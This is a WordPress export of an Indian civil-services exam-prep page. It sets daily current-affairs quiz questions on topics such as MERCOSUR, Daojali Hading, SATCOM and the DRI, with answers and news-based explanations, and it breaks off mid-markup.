{"id":2166,"date":"2025-06-06T13:53:31","date_gmt":"2025-06-06T13:53:31","guid":{"rendered":"https:\/\/iasquest.com\/?p=2166"},"modified":"2026-02-11T18:56:00","modified_gmt":"2026-02-11T18:56:00","slug":"daily-current-affairs-03-06-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-03-06-2025\/","title":{"rendered":"Daily Current Affairs \u2013 03-06-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. MERCOSUR is a trading bloc in Latin America comprising Brazil, Argentina, Uruguay and Paraguay.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. It is the third largest integrated market after the European Union (EU), North American Free Trade Agreement (NAFTA).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. India signed the preferential trade agreement with MERCOSUR in 2003.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Which of the above statement(s) is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (c) All three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong><em>News: India, Paraguay can strengthen trade ties: PM<\/em><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>India and Paraguay have decided to further strengthen their ties in sectors like <strong>clean energy, green hydrogen and biofuels.<\/strong><\/li>\n\n\n\n<li>India\u2019s relations with Paraguay dates back to 1961 when bilateral diplomatic ties were established. India opened its embassy in <strong>Paraguay\u2019s capital Asuncion<\/strong> in 2022.<\/li>\n\n\n\n<li><strong>Southern Common Market (Mercosur)<\/strong>, a trade bloc including <strong>Brazil, Argentina, Paraguay and Uruguay, <\/strong>was formed in 1991 and Venezuela joined in 2012 but was suspended in 2016 over its human rights record.<\/li>\n\n\n\n<li>MERCOSUR was formed with the objective of facilitating the free movement of goods, services, capital and people among the four member countries. It is the<strong><em> third largest integrated market after the European Union (EU), North American Free Trade Agreement (NAFTA).<\/em><\/strong><\/li>\n\n\n\n<li>Suriname, Guyana, Colombia, Ecuador, Peru, Chile and Bolivia all have associate status. In 2021, the combined GDP of the Mercosur nations was almost $2.2 trillion, according to World Bank figures, making it the world\u2019s fifth-largest economy.<\/li>\n\n\n\n<li>A framework agreement was signed between India and MERCOSUR on June 17, 2003.<\/li>\n\n\n\n<li>This agreement was followed by the <strong>MERCOSUR-India Preferential Trade Agreement (PTA)<\/strong> signed in New Delhi in 2004.<\/li>\n\n\n\n<li>India \u2013 MERCOSUR PTA came into effect from 1st June, 2009.<\/li>\n\n\n\n<li>The major products covered in Indian offer list are meat and meat products, organic &amp; inorganic chemicals, dyes &amp; pigments, raw hides and skins, leather articles, wool, cotton yarn, glass and glassware, articles of iron and steel, machinery items, electrical machinery and equipments, optical, photographic &amp; cinematographic apparatus<\/li>\n\n\n\n<li>The major product groups covered in the offer list of MERCOSUR are food preparations, organic chemicals, pharmaceuticals, essential oils, plastics &amp; articles, rubber and rubber products, tools and implements, machinery items, electrical machinery and equipment.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><a href=\"https:\/\/www.newsonair.gov.in\/pm-modi-to-hold-talks-with-paraguay-president-santiago-pena-palacios-in-new-delhi\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.newsonair.gov.in\/pm-modi-to-hold-talks-with-paraguay-president-santiago-pena-palacios-in-new-delhi\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>2. Regarding Calotes zolaiking, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">I. It is a type of terrestrial reptile.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">II. It is endemic to India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">III. In its natural habitat, it is an arboreal species.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">(a) I only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">(b) I and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">(c) II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(d) I II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>Answer: (d) I, II and III<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>News: Rare lizard in Meghalaya fuels grassroots conservation efforts<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-28\">\n<li>Calotes zolaiking, a species of garden lizard first described in 2019 from Mizoram, has now been recorded in Mawmluh, East Khasi Hills, Meghalaya.<\/li>\n\n\n\n<li>Conservation Catalyst: The finding has triggered a community-led conservation initiative in areas affected by limestone mining and a non-functional cement plant.<\/li>\n\n\n\n<li>Mawmluh and surrounding areas, while known for sacred groves, have seen environmental degradation, making the discovery especially significant.<\/li>\n\n\n\n<li>Calotes is a genus with 30 species globally; India has 14, of which 9 are in the Northeast.<br>The study highlights the need for ongoing herpetofaunal surveys in the Khasi Hills, given historical examples like Stoliczkia khasiensis, a snake never seen again since 1870.<\/li>\n\n\n\n<li>The lizard\u2019s inclusion in an international scientific journal has boosted local pride and conservation enthusiasm.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/rare-lizard-in-meghalaya-fuels-grassroots-conservation-efforts\/article69638506.ece\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/rare-lizard-in-meghalaya-fuels-grassroots-conservation-efforts\/article69638506.ece<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>3.&nbsp; Daojali Hading, an important archaeological site, is known for which of the following features?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">(a) Megalithic burial structures and iron tools<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">(b) Harappan-style urban planning and script<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">(c) Double-shouldered celts and cord-marked pottery<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">(d) Buddhist stupas and Ashokan edicts<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Answer: (c) <\/strong>Double-shouldered celts and cord-marked pottery<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>In News: Neolithic habitation found in Assam\u2019s Dima Hasao<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-39\">\n<li>Furnace and iron slag found at Daojali Hading point to early metallurgical practices more than 2,700 years ago<\/li>\n\n\n\n<li>The discovery of a furnace and iron slag, indicating metallurgical activities, has provided \u201csubstantial support\u201d for earlier hypotheses that Daojali Hading was a major prehistoric settlement in the northeastern part of India.<a><\/a><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-40\"><strong>Daojali Hading \u2013 Neolithic Site (Assam)<\/strong><\/h3>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-41\">\n<li><strong>Location:<\/strong> Dima Hasao district, Assam (near Brahmaputra valley)<\/li>\n\n\n\n<li><strong>Cultural Phase:<\/strong> Neolithic<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-42\"><a><\/a><strong>Significance:<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-43\">\n<li><strong>First site in India<\/strong> to provide evidence of an <strong>Eastern Asiatic Neolithic complex<\/strong>.<\/li>\n\n\n\n<li>Indicates <strong>cultural contact with Southeast Asia<\/strong>.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-44\"><a><\/a><strong>Key Findings:<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li><strong>Cord-marked pottery<\/strong> \u2013 similar to Chinese Neolithic ware.<\/li>\n\n\n\n<li><strong>Double-shouldered celts<\/strong> \u2013 typical of East and Southeast Asian Neolithic tools.<\/li>\n\n\n\n<li><strong>Furnaces and iron slag<\/strong> \u2013 <strong>indicate early metallurgical activity<\/strong>, which is rare in Indian Neolithic context.<\/li>\n\n\n\n<li>Use of <strong>microliths<\/strong>, <strong>quartzite tools<\/strong>, and <strong>polished stone tools<\/strong>.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-46\"><a><\/a><strong>Importance in Indian Prehistory:<\/strong><\/h4>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-47\">\n<li>Demonstrates <strong>Neolithic expansion in Northeast India<\/strong>.<\/li>\n\n\n\n<li>Shows <strong>early sedentary life<\/strong>, possibly with shifting cultivation.<\/li>\n\n\n\n<li>Highlights a <strong>distinct developmental trajectory<\/strong> in the Northeast compared to other Neolithic regions like the Deccan or Ganga valley.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><a href=\"https:\/\/www.thehindu.com\/news\/national\/assam\/neolithic-habitation-found-in-assams-dima-hasao\/article69641093.ece\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/news\/national\/assam\/neolithic-habitation-found-in-assams-dima-hasao\/article69641093.ece<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>4.Which of the following statements regarding Satellite Communication (SATCOM) is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">1. It facilitates wireless communication through satellites acting as relay stations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">2. SATCOM systems operate also in the Low Earth Orbit (LEO).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">3. SATCOM enables communication in remote and inaccessible areas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>In News: &#8216;Unjustifiably low&#8217; satcom spectrum price, says COAI<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-62\">\n<li>India&#8217;s leading telecom operators have strongly criticised the telecom regulator&#8217;s satcom recommendations, deeming the spectrum pricing as unfairly low and based on flawed assumptions.<\/li>\n\n\n\n<li>They argue that the proposals lack transparency, create an uneven playing field, and threaten the sustainability of terrestrial services.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>About Satellite Communication (SATCOM)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li>SATCOM refers to<strong> any communication system that uses artificial satellites<\/strong> to relay signals. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It enables <strong>wireless communication <\/strong>over long distances by acting as a relay station in space.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Key Features:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li>Long-distance communication across continents and oceans.<\/li>\n\n\n\n<li>Works on radio frequencies (typically in microwave bands).<\/li>\n\n\n\n<li>Provides global coverage, including remote, mountainous, and oceanic regions.<\/li>\n\n\n\n<li>Essential for telecommunications, <strong>broadcasting, internet, disaster management, and military communication. Hence statement 3 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-67\"><a><\/a><strong>Types of Orbits Used:<\/strong><\/h3>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>1. Low Earth Orbit (LEO)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-69\">\n<li>Altitude: ~500 to 2,000 km\n<ul class=\"wp-block-list\">\n<li>Lower latency, <strong>closer to Earth, used in satellite constellations<\/strong> (e.g., Starlink). <strong>Hence statement 2 is correct.<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>2. Medium Earth Orbit (MEO)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-71\">\n<li>Altitude: ~2,000 to 35,786 km\n<ul class=\"wp-block-list\">\n<li>Used for <strong>navigation systems like GPS.<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>3. Geostationary Satellite Orbit (GSO)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-73\">\n<li>Altitude: ~35,786 km<ul><li>Satellite remains fixed over one point on the equator<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Ideal for<strong> TV broadcasting and weather monitoring.<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Read more at:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><a href=\"https:\/\/economictimes.indiatimes.com\/industry\/telecom\/telecom-news\/unjustifiably-low-satcom-spectrum-price-says-coai\/articleshow\/121555457.cms?utm_source=contentofinterest&amp;utm_medium=text&amp;utm_campaign=cppst\" target=\"_blank\" rel=\"noopener\">https:\/\/economictimes.indiatimes.com\/industry\/telecom\/telecom-news\/unjustifiably-low-satcom-spectrum-price-says-coai\/articleshow\/121555457.cms?utm_source=contentofinterest&amp;utm_medium=text&amp;utm_campaign=cppst<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>5.With reference to the National Mission for Sustaining the Himalayan Ecosystem (NMSHE), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">1. It is one of the missions under the National Adaptation Fund for Climate Change.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">2. It aims to study the impact of climate change on glacial and forest ecosystems in the Himalayan region.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">3. The mission is implemented by the Ministry of Earth Sciences.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>In News: <\/strong>India reaffirms Commitment to Glacier Preservation at the High-Level International Conference in Dushanbe<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-88\">\n<li>India is undertaking strategic actions under the National Mission for Sustaining the Himalayan Ecosystem (NMSHE) &#8211; a key component of India\u2019s National Action Plan on Climate Change (NAPCC) &#8211; as well as the establishment of a Centre for Cryosphere and Climate Change Studies, designed to advance research and monitoring of glaciers and glacial lakes in the Indian Himalayan Region.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>National Mission for Sustaining the Himalayan Ecosystem (NMSHE)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Part of:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-91\">\n<li>One of the eight missions under India\u2019s National Action Plan on Climate Change (NAPCC).<\/li>\n\n\n\n<li>Nodal Agency:Department of Science and Technology (DST), Ministry of Science and Technology.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Objectives:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-93\">\n<li>Understand climate impacts on the Himalayan ecosystem.<\/li>\n\n\n\n<li>Conserve biodiversity, forest cover, and other ecological values.<\/li>\n\n\n\n<li>Assess and build capacities of local communities to adapt to climate change.<\/li>\n\n\n\n<li>Study glacial systems, hydrology, and changes in the cryosphere.<\/li>\n\n\n\n<li>Develop policy and planning tools to sustain the Himalayan ecosystem.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Key Features:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-95\">\n<li>Focuses on sustainable development while preserving the fragile Himalayan ecology.<\/li>\n\n\n\n<li>Covers Indian Himalayan Region (IHR) \u2014 spanning 11 states\/UTs.<\/li>\n\n\n\n<li>Promotes interdisciplinary research and traditional knowledge systems.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2132964\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2132964<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>6.With reference to The Directorate of Revenue Intelligence, Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Statement -I: <\/strong>It is the apex anti-smuggling agency of India, working under Ministry of Home affairs, Government of India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Statement -II: <\/strong>It is tasked with detecting and curbing smuggling of contraband, including drug trafficking as well as combating commercial frauds related to international trade and evasion of Customs duty.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(a) Both Statement &#8211; I and Statement &#8211; II are correct and Statement &#8211; II is the correct explanation for Statement &#8211; I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(b) Both Statement &#8211; I and Statement &#8211; II are correct and Statement &#8211; II is not the correct explanation for Statement &#8211; I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(c) Statement &#8211; I is correct but Statement &#8211; II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(d) Statement &#8211; I is incorrect but Statement &#8211; II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Answer: (d)Statement &#8211; I is incorrect but Statement &#8211; II is correct<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>In News: <\/strong>DRI seizes 7 kg Methamphetamine tablets worth Rs. 7 crore in Tripura; two persons arrested<strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-109\">\n<li>In their relentless endeavour to curb the smuggling and trafficking of contraband drugs in the North East Region (NER), the Directorate of Revenue Intelligence (DRI) foiled the smuggling of a big consignment of methamphetamine tablets in Tripura.<\/li>\n\n\n\n<li>The DRI officers of Agartala Regional Unit, in assistance from the 28 Bn Assam Rifles, intercepted a Maruti Wagon-R car during late night of 31.05.2025, on suspicion of carrying substantial quantities of methamphetamine tablets.<\/li>\n\n\n\n<li>The car was intercepted at the outskirts of Teliamura, while coming from Dharmanagar area of North Tripura and proceeding towards Agartala, West Tripura.<\/li>\n\n\n\n<li><strong>The Directorate of Revenue Intelligence is the apex anti-smuggling agency of India, working under the Central Board of Indirect Taxes &amp; Customs, Ministry of Finance, Government of India.<em>Hence statement 1 is incorrect.<\/em><\/strong><\/li>\n\n\n\n<li><strong>It is tasked with detecting and curbing smuggling of contraband, including drug trafficking and illicit international trade in wildlife and environmentally sensitive items, as well as combating commercial frauds related to international trade and evasion of Customs duty.<em>Hence statement 2 is correct.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>Source:<\/strong><strong><\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2133339\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2133339<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>7. Murmansk region recently seen in news situated in which of the following countries?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">(a) Russia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">(b) Ukraine<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">(c) Turkey<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\">(d) Israel<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><strong>Answer: (a) Russia<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>In News: <\/strong>Russia\u2019s Trojan horse moment and why Ukraine\u2019s \u2018Operation Spider\u2019s Web\u2019 upends scope of drone warfare<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-120\">\n<li>In an audacious aerial attack that was planned for more than a year and a half, <a href=\"https:\/\/indianexpress.com\/article\/world\/ukraine-hits-40-russian-warplanes-in-drone-attack-10042174\/\" target=\"_blank\" rel=\"noopener\">Ukraine carried out large scale drone strikes on multiple Russian air bases<\/a>, including one in Siberia some 4,000 km from the frontlines.<\/li>\n\n\n\n<li>Under Operation Spider Web, a swarm of Ukrainian drones struck at least five military airbases deep inside Russia\u2019s borders on June 1, and left some 41 bomber aircraft in flames.<\/li>\n\n\n\n<li>Specialised first-person view (FPV) drones were smuggled into Russia, along with mobile wooden cabins. The cabins were carried by trucks with the drones hidden inside. The cabin roofs opened remotely \u2014 and then the drones took off, zoned in on the nearby bases to precisely mount the attacks.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong><em>Hence option(a) is correct.<\/em><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><a href=\"https:\/\/indianexpress.com\/article\/explained\/operation-spider-web-russia-ukraine-drone-warfare-battlefield-trojan-horse-10043072\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/operation-spider-web-russia-ukraine-drone-warfare-battlefield-trojan-horse-10043072\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>8.Nanda Devi Biosphere Reserve recently seen in news situated in which of the following states?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">(a) Sikkim<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\">(b) Arunachal Pradesh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\">(c) Uttarkhand<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\">(d) Ladakh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>Answer: (c)Uttarkhand<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>In News: <\/strong>Valley of Flowers in Uttarakhand open to tourists from June 1: All you need to know<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul 